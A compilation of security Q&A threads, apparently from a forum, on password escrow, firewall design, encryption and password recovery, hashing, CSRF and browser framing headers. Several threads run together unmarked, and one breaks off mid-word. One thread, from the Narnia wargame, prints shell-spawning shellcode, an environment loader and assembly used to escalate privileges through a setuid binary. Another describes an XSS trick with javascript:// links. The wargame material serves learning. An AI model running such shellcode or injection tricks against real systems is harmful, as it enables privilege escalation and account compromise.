Information Security is all about risk management. You cannot 100% account for every scenario, but you can do your due diligence to dramatically minimize risk.

  The scenario is: The person responsible for IT has to manage a lot of passwords for servers and third-party services. It would be bad if these passwords are only known to the person in charge. The person can get sick, let go, etc. pp. So there needs to be a way for management to retrieve said passwords and make them accessible for other people - if needed. But they also need to be secure and only accessible in this case.

What kind of polices should be in place?

Upper Management should be able to request password changes for all accounts, even if they don't know the passwords, so that password changes aren't a problem. There should also be an audit trail for this to help avoid framing someone. For Windows, Active Directory can do this, and is very powerful.
All important usernames and passwords should be split up and only given to those with the correct role(s).

Development teams frequently need important passwords

If you have a development team, chances are you'll have lots of different passwords. Not just passwords, but usernames as well. For example, you may have broken up your your development, testing, and production environments. If you haven't done that, you have terrible IT practices.

No one except trusted DBAs should have root access to the production database. And only the trusted System Administrators should have access to the production servers.

Storing passwords in plain text can be a bad idea. In the case of customer data, it's definitely a terrible idea. A good use-case example would be for development teams. How is the development team going to upgrade the database? How are they going to test their changes?

The developers can't if they don't have access. If they have to keep requesting passwords to test their changes, productivity falls, ideas are lost, and your company can't remain competitive.

You need separation of concerns. In order to change the production database, you should have the appropriate permissions and instructions. Your run-of-the-mill developer should not have access to either the production database or server.

However, your developer definitely needs access to the development and testing environments. In this case, your developers should be given a print-out of database usernames and passwords that are relevant to them. As a further stop-gap, you should have enterprise profiles that only allow access to those accounts if they have permission, so even if they get the password, they can't connect without appropriate permission.

Within a medium-to-large company, being able to properly develop without too many hindrances is critical. Being held back by red tape is extremely detrimental to the development process.

Get off your soap box and let's get back to password storage!

  My approach would be to use a simple plain text file on an encrypted USB drive + one backup (also USB drive) in a secure (physical) location. Then provide management with the password for the drive. The person in charge can carry the drive around like a key. If stolen, it is useless. If lost, there is a backup. If person isn't available anymore, management can access it.

This is the way many companies do it. However, I would take it a step further due to tinfoil hattery:

Create an application where you are able to change passwords.
Plug 4 USB devices into the computer.
Application writes passwords to multiple flash drives for redundancy. Can update just as easily, and role-appropriate print-outs can be given to the correct users.
Ensure that all passwords can be changed by a master account. Ideally, you'd want more than one.
You'd also need paper documentation in a locked room that few have access to.


Is it possible to block emails (to all email accounts) that contain certain word/phrase patterns? A friend of mine has been cyber-stalked for 4 years now by an ex-boyfriend. He recently worked out her new job email address (via LinkedIn) and started sending her emails. She told me that the emails he has constantly sent her have a similar wording and subject matter. This made me wonder if there was a way to block emails with certain word patterns or phrases for all her email accounts (Gmail, work email, etc.).

I don't KNOW this entire concept of targeted marketing which googles uses to brings context based ads on your gmail is worth blogging your mind. They say that they don't do anything with user-mail but they do have abundant filters which are going to pick on anything which matches their dictionary.

I think google does provide you the ability to define just the filter.

SETTINGS>FILTERS>CREATE NEW FILTER


To firewall or not to firewall? There's recently been some discussion (to be generous) about the pros and cons of having a firewall deployed in front of servers. The con mainly being that it's a point of failure in case of a DDoS. Microsoft has been talking about doing away with the standalone firewall and instead basing security on PKI and IPsec, meaning you can't talk to the server if you don't have an appropriate certificate (no source for this, it was a talk I attended).

So, given a simplistic scenario where you have, say, a web server, a mailserver and a database server backing the webserver, what's the current best practices firewall/network design, according to you? I'm well aware most deployments aren't this straight forward, but I think the example works well enough to base a discussion on.

I'm also aware that the traditional, theoretical best practices would be to add as many layers of defense as possible -- but is this the design that results in the maximum availability, all things considered?

(Assume that the servers are appropriately hardened and don't expose any services they shouldn't be running, that the switches don't add anything to the security equation, and that management is either out-of-band or from the cloud part of the drawing. Which ever you prefer, since it adds it's own complications either way...)

Scenario #1, simple routed

A clear, routed, non-firewalled design. The edge router may apply an ACL, some rate limiting. The DB server might be on private addresses that aren't routable from the internet. The hosts would each be running a firewall, such as Windows built-in or iptables etc. The admin running the hosts should consider the environment around the hosts hostile.

Scenario #2, traditional firewalled

The router may or may not provide any functionality above simply forwarding packets. The firewall implements the complete policy and segmentation. The hosts may, optionally, have some kind of firewalling, but probably wont. The admin running the hosts will probably consider the environment safe-ish.

Scenario #3, we really like firewalls

As #2, but more segmented.

I've traditionally been building either #2 or #1, and I'm more and more leaning towards #1. I'm probably lured by the "simplicity" of the design and the "purity" of wanting the hosts to be able to survive in a hostile environment. I'm aware this is in contrast to defense in depth. :)

I am sure you are aware that for many security threats and/or compliance requirements there exists both network-based and host-based mitigation controls.

Microsoft, being essentially a host-oriented company, is naturally going to be on the side of host-based security solutions. And when dealing with people and applications, one would traditionally side with a host-based solution. But firewalls have changed. "Next Generation Firewalls," as defined by Gartner, are designed specifically to enable user and application as well as traditional IP, port, and protocol policy control. (I am not always a fan of Gartner, but they have it right on NGFWs.) So a NGFW that can control access from Layer 3 through Layer 7 is going to be a better solution than a host-based approach which of course is blind to lower levels of communications.

My home state, Massachusetts, passed a very strict privacy law. Organizations are placing NGFWs between users and servers in order to meet its requirements. Here are a few of the law's requirements and how a NGFW meets them:

Isolate private data - Define logical security zones which allows you to isolate servers holding private data.
Control access to private data based on applications - Define policies to control which applications are allowed to access the servers containing private data.
Control which users have access to private data - Integrate the firewall with your LDAP servers so you can define policies to control which groups have access to private data.
Detect and block threats - This firewall should also have a threat protection capability to monitor the allowed traffic and block detected threats.

BTW, depending on the firewall you are using, you can create scenario #3 with one physical firewall.

Having said this, if the goal is protecting Personally Identifiable Information (PII), a NGFW by itself is not the complete answer. First you need to find where PII is located.

Second, once you have found all the PII, you may want to take steps to consolidate it to as few servers as possible.

Third you may want to implement controls to prevent PII from "resting" on end user workstations and being transmitted from a user to someone else.

Fourth, you may want to add a specific database access control which monitors 100% of database accesses. This must be a host-based control. There is no other way to make sure you are monitoring everything including Views, Stored Procedures, and Triggers.


Is the ASP.NET .ASPXAUTH cookie value always the same for a given user? Is the ASP.NET .ASPXAUTH cookie value always the same for a given user?

No, it will not be.  The value contains a forms authentication ticket which has several values, some of which (like the expiration) will change every time the cookie is created, and could change on every request (if you have sliding expiration enabled.). If you enable encryption, (which you should!) even two identical plaintext tickets would result in two different encrypted cookie values.


Encrypt part of users' data in web application vs. password recovery I'm developing a web-application that stores sensitive user data. Although the data is sensitive we want it stored permanently because the users might want to come back later and reuse it. The user data must be accessible by the server during a user session.

We can assume that the number of active sessions is low in comparison to the number of datasets permanently stored.

Asset: Part of the data stored in the database that is really sensitive - but needs to be processed on the server-side during user-sessions (that's the point of the application) and stored there permanently (for usability reasons).
Scenario: A hacker gains access to the database and is able to read all it's data.

NOTE: This is not meant as substitute for a risk-analysis nor any other part of security management, nor is it meant as substitute for certain other measures (password policy, SSL/TLS, audits, … you name it). This is about checking one specific security measure.

Proposed counter-measure: User-data encryption

To mitigate the risk of leaking all of the sensitive data to an attacker gaining access to the database, I'd like to encrypt the data (very similar to option 1 in this question):

During user registration the server generates a user-key U (AES).
The user-key is encrypted with a password derived key (SHA256) d(p) and stored in the database AES(d(p), U).
Every time the user logs in, the key is decrypted and stored in the server-side session storage p -> d(p) + AES(d(p), U) -> U.
The user then is able to work with his/her data as long as the session persists. The data is encrypted with a random AES-key (message key m). The AES-key is then encrypted with the user-key and stored alongside the encrypted data (AES(U, m) + AES(m, data)).

Question 1: Are there any obvious security flaws in that scheme (except that the attacker can access the data of all logged-in users)?

Password-recovery

One obvious flaw of the above scheme is that there is no process to do a password recovery: Once the password is lost, the user-key can't be decrypted and thus the data is lost too.

To work around that we generate another RSA-key-pair (M_pub + M_sec). The public key is part of the application configuration. Additionally to the previous scheme:

a) The user-key and the user-email is encrypted with the master key and stored with the user-record as recovery information RSA(M_pub, U+user.email)

We have another app, on another server that has access to the private master key (but not to the database). The password recovery would then look like this:

The user starts the password recovory as usual (reset password -> email with link to a form).
The user chooses a new password p'.
The original app now asks the password-reset app to decrypt the user-key by sending the recovery info RSA(M_pub, U+user.email) and the new password derived key d(p') to the recovery server.
The password-reset app decrypts the recovery info M_sec + RSA(M_pub, U+user.email) -> U + user.email, sends a notification email to the user.email (telling the user to report the incident if he/she didn't cause the recovery) and sends the newly encrypted user-key AES(d(p'), U) back to the original app.

The recovery-process would be rate-limited so that the number of breached keys is limited until the breach is discovered.

Pros:

Password recovery is still immediate.
An attacker needs to hack two systems to gain access to the full database.

Cons:

An attacker able to gain access to one system is likely to gain access to the password-reset system too.

Question 2: To what point does this way of doing the password recovery reduce the effect of the encryption? (Is it still worth doing?)

Question 3: Are there any other processes that improve data-security (in case of a hacked server) without making an automated password recovery impossible?

Question 1

  Question 1: Are there any obvious security flaws in that scheme
  (except that the attacker can access the data of all logged-in users)?

Proposed scheme:

Registration

The user digests a password key P from the plain-text password p using SHA 256
The user sends this key over a secure connection to the server
The server generates a random key k which is used to encrypt data before it's stored
The server encrypts k with P and stores it for later use

Authentication

The user digests the password key P and sends it to the server
The server decrypts k and stores it in memory

Security concerns

Password derivation

The above scheme suggests p to be hashed. This alone does not ensure "perfect" forward safety since a hash value can be looked up in a Rainbow Table to retrieve the user's plain-text password. Attackers can also use one cracked hash value to determine other users' passwords due to the lack of salts. These concerns are mostly privacy related ones since they only cover what could happen when the database has been accessible to attackers.

To conclude the above mentioned vulnerabilities:

Rainbow Table lookup
Brute Forcing
Identical hash values

What to do to address the issue

Registration

The user generates a random salt S of sufficient size
The user derives a password key P from the plain-text password p and S using a strong key derivation function such as PBKDF2
The user sends this key along with S over a secure connection to the server
The server stores S
The server generates a random key k which is used to encrypt data before it's stored
The server encrypts k with P and stores it for later use

Note:
The salt should be unique to the user and the key derivation function should run for as long as possible (calibrate it to run for about a second).

Question 2

  Question 2: To what point does this way of doing the password recovery reduce the effect of the encryption? (Is it still worth doing?)

Proposed scheme:

Registration

The user's email is sent alongside P
The server encrypts the user's email and P with the recovery server's public key and stores it

Recovery

Disregarding the actual "user selects new password" part ( identical to the registration process )

Server sends the user's email and password key ( which are both encrypted with the recovery server's public key ) to the recovery server
The recovery server decrypts the requested data and sends it back to the main server
The main server is able to encrypt the data with the new password key

Security concerns

There is always a physical threat when using "master keys". It is good that you've understood that it is vital to have it on a seperate system on a seperate server so that if one system is compromised - actions can be taken to ensure that the stored data remains safe.

Private key storage is to broad to answer here but I'll try to give you some resources to further look into it yourself.

The security of the connection between the both servers are extremely important. They must be able to trust each other even when there's a middle man. HTTPS is not enough and multi-layer security is one step to ensure that users' data won't get compromised. An application layer of security can do good in this case with session keys and RSA on top of SSL/TLS.

Then there's the practical...

Trusted administrators of the recovery system can obtain the private key and use it for different mailicious causes.

Encrypting larger amounts of data with RSA isn't feasible today. It will take way too long time to ever be of use. The standard solution today is to generate a random encryption key, encrypt the payload with the key and the key itself with the recipient's public key. Then both the payload and the encrypted key is sent to the server which then decrypts the encryption key with it's private key and the payload with the encryption key.

Anyone with access to the user's email should not be able recover a user's password. You mentioned "a 2-factor authentication service" which will help ensure that only the user can change the password.

To conclude:

Every time the data is sent over a network it is exposed to vulnerabilities. The fewer time it crosses a network - less likely a MITM will be encountered. This can be solved using tokenization which replaces sensitive data with a random string that only your servers can relate to data.

Large amounts of data cannot be sufficinetly encrypted using RSA as of now.

What to do to address the issue

Recovery

Disregarding the actual "user selects new password" part ( identical to the registration process )

The server generates a random encryption key to encrypt the payload with
The key is encrypted with the recovery server's public key
The server encrypts the user's email and password key ( which are both encrypted with the recovery server's public key ) with the "payload key" and sends it and the encrypted payload key to the recovery server
The recovery server decrypts the payload key using it's private key and then decrypts the requested payload using the received payload key and then decrypts the data with it's private key
The same communication step with multi-layer encryption is used to send the data back to the main server.
The main server is able to encrypt the data with the new password key and store it again


Next steps after webmail account was compromised John Doe told me the following story:

  I got a mail from a good friend. It just contained a single link. That seemed odd but I didn't think a lot about it. After clicking on the link, the web site of a company in my area of work opened. It didn't seem terribly interesting, so I closed it.

  A few days later, I started to get mails from old friends saying "Hi, nice to hear from you" and yesterday, I got a mail from myself. Mail that I've never sent.

Since Mr. Doe is not a computer specialist what should he do next?

I suggested:

Get the latest virus scanner, maybe even a bootable CD like STD and check for viruses/trojans
Backup his private data
Get in contact with the company - their web site might have been compromised
Change the web mail password just in case
Contact the webmail provider and let them know about the security breach
Install Firefox instead of the default Web browser

Was that good advice? Anything I'm missing?

For a "paranoid dial turned to 11" approach, I suggest:

On the system:

Backup all essential data.
Rebuild.
Install resident antivirus/anti-malware/firewall protection.
Install secure browser of choice, or update existing browser to latest version.
Install secure browsing and OS plugins and configurations of choice.
Make sure the OS and all applications are kept up-to-date.

For all user accounts, do the following, recusively.*

Change the password of the compromised webmail account.
Change the passwords of any accounts which use the same password as his webmail account.
Change the passwords of any accounts associated with the webmail account.

*(Example:  GMail account was compromised.  Facebook and Hotmail accounts use the same password.  Change Facebook and Hotmail passwords.  LinkedIn account is associated with Hotmail account.  Change LinkedIn password.)

Also, contact the owner of the account that sent the e-mail to you, and let them know what's happened.

This is a very high-level view of the recovery process.  In the end, it is up to you to determine to what depth certain protective measures need to be applied, based on whatever value you place on the data and/or accounts that may have been compromised.


Strange 400 requests in webserver nginx logs (possible exploit scan?) It's one of the logged by nginx webserver requests:

‹\x11Г»=џ&gьµЈБЈx¬ёђАЙхPЙuN0жЫ¶@Oc[ќЮmћC”Ь™\x04»c/‹\x1F

or

\213\\x11\303\273=\237&g\374\265\177\243\301\243x\254\270\220\300\311\365P\311uN0\346\333\266@Oc[\235\336m\236C\224\334\231\\x04\273c/\213\\x1F

Can someone understand what this is?

Thanks ;)

It may look like someone is fuzzing your webserver. Can you by any chance include more information than the strings you've pasted? It can look like someone is trying to pass you binary data.

There seems to be a pattern in some of it. For example \x may indicate hexadecimal annotation. You can see that both strings start and end with x11 and x1F. This might be of interest.

You also see an equal sign in there which may indicate the assigning of a GET value. Also the ampersand sign (&) which is used to concatenate several GET parameters.

Hopefully someone has a good explanation for us.


Is using MD5 in NTLMv2 protocol to store Windows passwords is secure? I read that Windows (probably not new OSs but say, Windows Server 2008) stores passwords using Hashes using NTLMv2 protocol which uses MD5 hash function. My questions: MD5 is known to be insecure because it is not collision resistant. How is it used in Windows 2008 server?

Collisions are irrelevant to most usages of hash functions in conjunction with passwords. For password hashing, preimage resistance is important, not collision resistance. MD5's resistance to preimages is (almost) as good as new.

MD5 for password storage would be a poor choice "alone", though, because password hashing requires salts and slowness, both characteristics that MD5 does not offer. See this answer for a primer on password hashing.

NTLMv2 does not use MD5 to store passwords. What is stored is a "password-equivalent" value called "NT-hash", which is the hash of the password with MD4, not MD5. No, this is not weak; for that specific usage, MD4 is still fine. As for MD5, it is used within HMAC as part of the challenge-response protocol, but not for anything that is stored.

There is no known attack against HMAC/MD5. The known MD5 weaknesses void the "warranty": the security proof which guarantees (mathematically) that HMAC is secure relies on the compression function of the underlying hash function: that compression function must be a PRF. The known collision attacks on MD5 demonstrate that MD5's compression function is not a PRF; however, this does not break HMAC/MD5. This just breaks the security proof. HMAC/MD5 cannot be "proven strong". It just fell into the wider category of "we don't know how to break that".


How can we use a symmetric key for signing data on TPM2.0? I am trying to sign some data with a symmetric key AES128 on the TPM2. However, I get this error during the signing
ERROR: Unknown key type, got: 0x25
ERROR: bad signature scheme for key type!
ERROR: Unable to run tpm2_sign
primary key creation command:
tpm2_createprimary -C o -g sha256 -G rsa -c primary.ctx
AES key creation command: tpm2_create -C primary.ctx -g sha256 -G aes128 -r AESkey.prv -u AESkey.pub -a "sensitivedataorigin|userwithauth|decrypt|sign"
So, the problem as I understood is related to the signature scheme, but how can I determine a functional scheme to achieve the signing?

AES is a symmetric block cipher.  Like most block ciphers, it is typically used for encrypting data, although it can be used in constructions such as CMAC (or other block cipher-based MACs) for creating message authentication codes (MACs).  Since these MACs use a symmetric key, that same key is necessarily required to verify the MAC.  Also, none of these block cipher-based MACs are available with tpm2_create.
While people do sometimes refer to the process of creating a MAC as "signing", more properly that term refers to algorithms that are used in digital signatures, such as RSA, ECDSA, or EdDSA.  All of these algorithms are asymmetric, containing a public key and a private key.  The private key is required to sign, and the public key is required to verify.  There is no way to turn a symmetric key into an asymmetric key of this type.
So what you're asking to do is functionally impossible.  You can't use an AES key to sign anything, since AES cannot be used to create a digital signature.  Depending on your TPM, you can use several different options for signatures, as outlined in the tpm2_create(1) manual page, but AES is not one of them.


Privacy Policy for Mobile Apps We are next to launch an iOS app in App Store which is asking us for a privacy policy url as part of process when this app is being uploaded to app store.

We and most of our users are outside USA and our local privacy information regulations might not be equivalent to USA.One of the questions of our team is that under our local regulations geolocation is not sensitive information.If our app collects that kind of information from our users, are we forced to establish a privacy policy?

Is there any regional aspect we should take into account when we decide to establish a privacy policy for our application? Must we apply USA privacy regulations criteria to establish a privacy policy?

thank you

You should indeed consider local privacy regulations. The EU, in particular, has stringent privacy regulations.

Here are some good websites where to get additional information:

Privacy By Design (Canada)
EU protection of personal data (European Union)
OECD Privacy Regulation (World)
CNIL (France) - from ther


Does OpenSSH use padding of random lengths? According to the end of RFC 4253 § 6, the random padding introduced to each SSH packet is an arbitrary multiple of 8. It mentions that random padding lengths can mitigate traffic analysis:

  Note that the length of the concatenation of 'packet_length', 'padding_length', 'payload', and 'random padding' MUST be a multiple of the cipher block size or 8, whichever is larger.  This constraint MUST be enforced, even when using stream ciphers.  Note that the 'packet_length' field is also encrypted, and processing it requires special care when sending or receiving packets.  Also note that the insertion of variable amounts of 'random padding' may help thwart traffic analysis.

Emphasis mine. I am aware that the padding contents themselves are required to be random, but does OpenSSH itself use random padding lengths for any cipher modes? The padding length field itself is encrypted for some modes. Looking at the source, it doesn't look like it uses padding of random lengths, but I am not particularly familiar with the internals of OpenSSH.

As per this article it does not, but I arrived at this topic seeking confirmation of this article to begin with so take it for what it's worth. The relevant quote from the article is:

  OpenSSH does not implement the “random padding” feature of RFC4253 The secure shell protocol which says " the insertion of variable amounts of ‘random padding’ may help thwart traffic analysis". Until they fix that we can use this technique to detect tunnels.


Why is the setuid bit not working when I execute this binary? I am currently going through the Narnia challenges on overthewire.org. For the 1-->2 challenge, I am running into an issue that I can't seem to get around. Basically there is a C program called narnia1 that has the setuid bit set. This is the code for it.

int main(){
  int (*ret)();

  if(getenv("EGG")==NULL){
      printf("Give me something to execute at the env-variable EGG\n");
      exit(1);
  }

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");
  ret();

  return 0;
}

The setuid should give me narnia2 permissions when it's ran, so I am trying to spawn a shell with narnia2 privs in order to read the /etc/narnia_pass/narnia2 password file. I tried two different methods, but both of them spawned a shell as narnia1. The first method I used was trying to print a shellcode with python.

export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

I tried using a simpler shellcode that didn't remove any bad characters, but it did not work either. I just got a narnia1 shell. The second method I used was creating a C program to set the env var with the shellcode.

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(shell,NOP,512);
        memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("EGG", shell, 1);
        putenv(shell);
        system("bash");
        return 0;
}

Both of these methods were identical to the methods I found on all the narnia walkthroughs online, yet I cannot get them to work properly. I tried running my eggcode.c program in the narnia directory instead of the tmp, but that didn't work either. I also tried using shellcode derived from the following assembly language:

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A SHELL!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

Again, this only spawned a narnia1 shell. The code is spawning a shell, so that makes me think that the issue isn't with the shellcode. I am not sure what else I can do, though. Any help would really be appreciated.

I think you're on the right track with the assembly code example you gave, and in particular, the part that makes the system call to setreuid. However, you're trying to set the real and effective user IDs to 0. According to the man page, that's not going to work.

  Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

Source: http://man7.org/linux/man-pages/man2/setreuid.2.html

In narnia0.c, you can see that there is a call to setreuid(geteuid(),geteuid()); before the system("/bin/sh") call. So I believe you need to adjust your system call to setreuid in assembly to something similar.

I found an old write-up for narnia0 which includes the narnia0.c source code as it was at the time of the write-up, and it doesn't include that setreuid call. This makes sense since old write-ups for narnia1 didn't have to include a call to setreuid in the shellcode either. Something must have changed either in the way the system is set up or in the way the effective user id is handled when spawning a shell.

Now, shellcode that executes some other command (e.g. cat) directly rather than trying to spawn a shell actually works (can access narnia2 files) without a prior call to setreuid, so it seems that whatever changed is only having an impact on launching a shell. Perhaps the shell itself changed so that now it resets the effective user id to the real user id on launch, but I'm just guessing at this point (although that would explain all of the above).


Does using subkeys provide better protection in this instance? I was thinking of implementing the following scheme for encryption of many independent files:

From the password, which is given by the user, generate a master key using for example HMAC-SHA.
From this master key, a subkey is derived for each file. Combined with a random and unique token which is stored alongside the file, HKDF-expand might be used for this where the info is the random token.
Each file is combined with a random IV and is encrypted using AES using the derived subkey.

My idea behind this is that even if an attacker were to break the encryption (i.e. somehow found the key) for a single file, all other files would still be secure because they were all encrypted using a different subkey. Does this make sense or is it easier to "reverse-engineer" the master key from a subkey if one is found?
(As as side-question, is it ok to use such a random token for HKDF-expand? Does it provide better security than a non pseudo random string such as the file name or an increasing counter?)

Think of Kerckhoffs's principle. The attacker will know that you derive all file passwords from the single master password. Thus it will make sense for the attacker to try to get the master password, not the derived ones. And if the attacker gets it, all your files can be decrypted. Thus I don't see any difference in the security risks between your scheme and encrypting all files directly with the same password.
This question may look similar to this one, but is actually completely different. In that question there are many parties (applications), each needing its own password. But your case is different. In your case there is a single party that will use them, it is you. That's why there are no key distribution channels (that could be targets of the attacks), there are no other parties (that could be targets of the attacks). Thus there is no sense for the attacker to try to find passwords for single files. The main reasonable target would be the master password. That's why the whole described scheme will not give any additional security and the master password alone will give the same security.
I see the generation of the master password (like using secure PRNG or using good KDF to derive the effective password) as out of scope of this question.


Some sites require that you accept cookies in order to use them. Does this mean that they can read/track my real IP? The site I want to use says that it stores permanent cookies on my computer to track various things, for instance if I have two accounts with them. It says "Please note
that if you set your browser to disable cookies, you may not be able to access certain parts of the Site for example applying for a job or posting a job. Other parts of the Site may also not work properly." Can I use it with TOR and will it get my real IP because of these persistent cookies?

Not inherently, no.

Cookies and IP addresses are independent.  However, if you use the same browser for Tor and non-Tor access to the site, the same cookies will be sent both times, negating any benefit you would otherwise gain from using Tor.

Tor is not a cure-all for anonymity issues, it's merely one tool to use.  There are many ways you can be tracked other than through your IP address, both technical (eg. logging in to an account known to belong to you) and social (eg. personality traits known to be associated with you).  Gaining anonymity with Tor requires understanding these methods and how to counter them.  See, for example, the Tails warning page.


Do javascript: URLs starting with // allow XSS? I found a markup processor that allows users to include arbitrary links, as long as they contain a "netloc" (// after the first :). Due to the myriad of exploitable protocol handlers, this is certainly a bad idea. But does it allow XSS on a system without vulnerable protocol handlers?

All browsers I tested (Chrome 22, FF 18, IE 9, Opera 12) do not show anything when pointed to javascript://alert('XSS'), but that could certainly just be because I'm not creative enough. Similarily, javascript://&#x13;alert('XSS') (which would make the first double slashes a comment, and the alert a new line) doesn't work either.

Yes, it allows XSS.  You can inject a newline after the // if you use the right trick.  The // makes the line a comment, but the newline is (as whitespace) not allowed in a URL, htmlencoded or not. Simply urlencode it, like this:

XSS


Why am I seeing SSL events resolve to OpenDNS IPs? This organization I'm working for uses OpenDNS/Cisco Umbrella. I'm confused as to why I'm seeing requests for SSL traffic resolved to

146.112.255.155
146.112.250.83
146.112.250.64
146.112.250.87
146.112.250.73

Are these sinkholed IP addresses? I thought the blockpage IPs were these ones: https://support.opendns.com/hc/en-us/articles/227986927-What-are-the-Cisco-Umbrella-Block-Page-IP-Addresses-

I guess I'm just confused as to how this whole thing works. I've tried reading the OpenDNS support but it hasn't really answered my questions on the IPs above.

This sounds like your company is using Cisco Umbrella Intelligent Proxy (Selective Proxy) or Secure Web Gateway (Full Proxy), and is decrypting SSL traffic.

This tunnels all web traffic through Umbrella Data Centres and forms a MITM (man in the middle) SSL connection between you and the HTTPS domain.

Therefore your certificates will be issued from the Umbrella Data Centres as opposed to the domain destination.

https://docs.umbrella.com/umbrella-user-guide/docs/cisco-umbrella-data-centers


Block Ciphers Terminology? I have been looking at block ciphers, and I found this:

Do the little circles with the plus symbols mean XOR? And how are the plaintext blocks split, and ciphertext blocks combined? Also, how can you XOR text? Can't you only XOR binary? Thank you!

The little circles are indeed XOR.

The size of the blocks depend on the cipher you use, for instance AES-128 has a 128 bit block size (NOTE: the 128 in AES-128 stands for the key size, not for the block size). Note that CBC is Cipher Block Chaining, an operation mode how you use a cipher, not the cipher itself.

The XOR operation is logically on the bits of the plaintext. Everything, also what you are referring to as "text", is internally in any digital computer represented by bits (or bytes=8 bits).

Once the encryption or decryption is done, all bits are put after another. So it would be text from ciphertext 1 then following ciphertext 2 and so on. Depending on byte order the representation might also be the other way around.


What is a collision attack in simple terms? I'm not a security expert but I've got interested in Cryptography and I'm reading about it.

I was trying to find out which is the best between SHA256, Bcrypt and MD5 when it comes to hashing passwords and apparently SHA256 is fast, and MD5 has collusion bug If I understood correctly, and It should not be used at all.

So I'm left with Bcrypt which looks like the best option since It's slower and that is better when it comes to brute force attacks.

My question is, regarding MD5, what is this collision attack it has and how bad is it?

Collision attacks aren't an issue when dealing with password hashes.   The issue with both SHA256 and MD5, from a password hashing perspective is that they're both much too fast.  MD5 is quite a bit faster than SHA256, in fact.

To clarify what a collision attack is, and why it doesn't matter when dealing with password hashes, it is when a hash function allows an attacker to find two inputs that result in the same hash value.  The fact that the attacker can control and manipulate both inputs in order to find a colliding value is critical.  When you have a password hashing system, however, the attacker does not have to ability to control the first input.  The password creator controls the first input.  The attacker only has the resulting hash value from the first input, and the ability to attempt to create a matching hash from a second input which they do control.  If they can find a second input that creates an identical hash, this is not a collision attack, but a 2nd pre-image attack, and not even MD5 is susceptible to these.

So, ultimately, the speed is the only issue, in that people choose passwords poorly, and the speed with with an MD5 hash can be computed is rapid enough for an attacker to attempt many, many potential input candidates in order to find the one the results in the password hash.


CSRF issues in "stateless" web app? So I have developed a web application, which also has an API.

API supports both GET and POST requests. The API is completely stateless, means nothing is stored or modified in a database/file when using it.
The API (currently!) needs an authentication cookie to be used.

Does this system have CSRF problems? I'm pretty sure it doesn't (as using the API doesn't change a server-side state), but I wanted to make sure..

With CSRF the attacker is able to control a request sent to another site. But the attacker is unable to read the response. Since your API is purely informative and does not cause any changes to the server the cross site request is still possible but will not cause any permanent problems.

But depending on the abilities of your API it might still be possible that the attacker is able to trigger a high resource usage at the server  by using unexpected parameters for the request. This might result in a denial of service for the proper users of the API. Thus it might still be worth to detect and block CSRF requests.

Also, even though CSRF itself is not possible other attacks like DNS rebinding or Cross Site Scripting might still be possible. Contrary to CSRF these attacks then have also access to the response data.


Since when does a browser have to get permission to display a web page a particular way? From Yahoo News with an embedded TikTok posting:

"To protect your security, www.tiktok.com will not allow Firefox to
display the page if another site has embedded it. To see this page,
you need to open it in a new window."

Firefox explains it here

"Websites can use x-frame options or a content security policy to
control if other websites may embed them on their own pages."

but doesn't offer any option except to display it in a new window.
The effect of this does seem absolutely minimal - I don't see any practical difference if the page is in a different window.  But the suggestion of web browsers being ordered to display pages a certain way raises a big question: how are they being ordered to do things by anyone but the reader?  (Do they really mean they're being advised and they actually think it's a good idea to avoid clickjacking but they're deflecting responsibility for that decision, or are goons going to come for them if they don't program it that way?)

I think this is a case where the website (server) and the web browser have a shared goal: to keep you safe.
Let's take a few unrelated examples of servers telling the browser how it's allowed to use the content that was served.
Content-Type
Let's say an API returns this in the HTTP body:
[
  {"keyA1":"valA", "keyB1":"valB"}
 ,{"keyA2":"valA", "keyB2":"valB"}
 ,{"keyA3":"valA", "keyB3":"valB"}
]

It turns out that this particular bit of data is both valid json and valid javascript. The browser has no way to tell what was intended unless it's given a hint. Historically this lead to security issues because attackers could bypass Same-Origin Policy by pointing a <script> tag at a json API that returned an array like that, the browser would happily execute that as javascript, thereby letting the attacker read the data.
This is a case where the server can give the browser some hints about how to currently use the response by setting the Content-Type: header to either
Content-Type: text/javascript

or
Content-Type: application/json

Is that a case of the server ordering the browser to do something? I suppose the browser could decide to ignore a Content-Type: application/json header and execute it as javascript, but why would it? Technically the user (more specifically a web page that the user loaded) asked the browser to do that, but it's almost certainly an attack and goes against the browser's goal of keeping you safe.

Cookies
Similar to the above, in a response from the server, it can push a cookie and flag it as HttpOnly. From the Mozilla docs:
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

That flag basically means "Hello browser, please automatically staple this cookie onto any subsequent HTTP requests back to me, but do not allow javascript to read the cookie value". (the end-user can still view the value through browser dev tools)
Is that a case of the server ordering the browser to do something? I suppose the browser could ignore the HttpOnly flag, but the server is telling the browser that there is no legitimate (ie non-attack) reason to do so, so that goes against the browser's goal of keeping you safe.

Frame-ancestors
So now to your actual question.

"Websites can use x-frame options or a content security policy to control if other websites may embed them on their own pages."

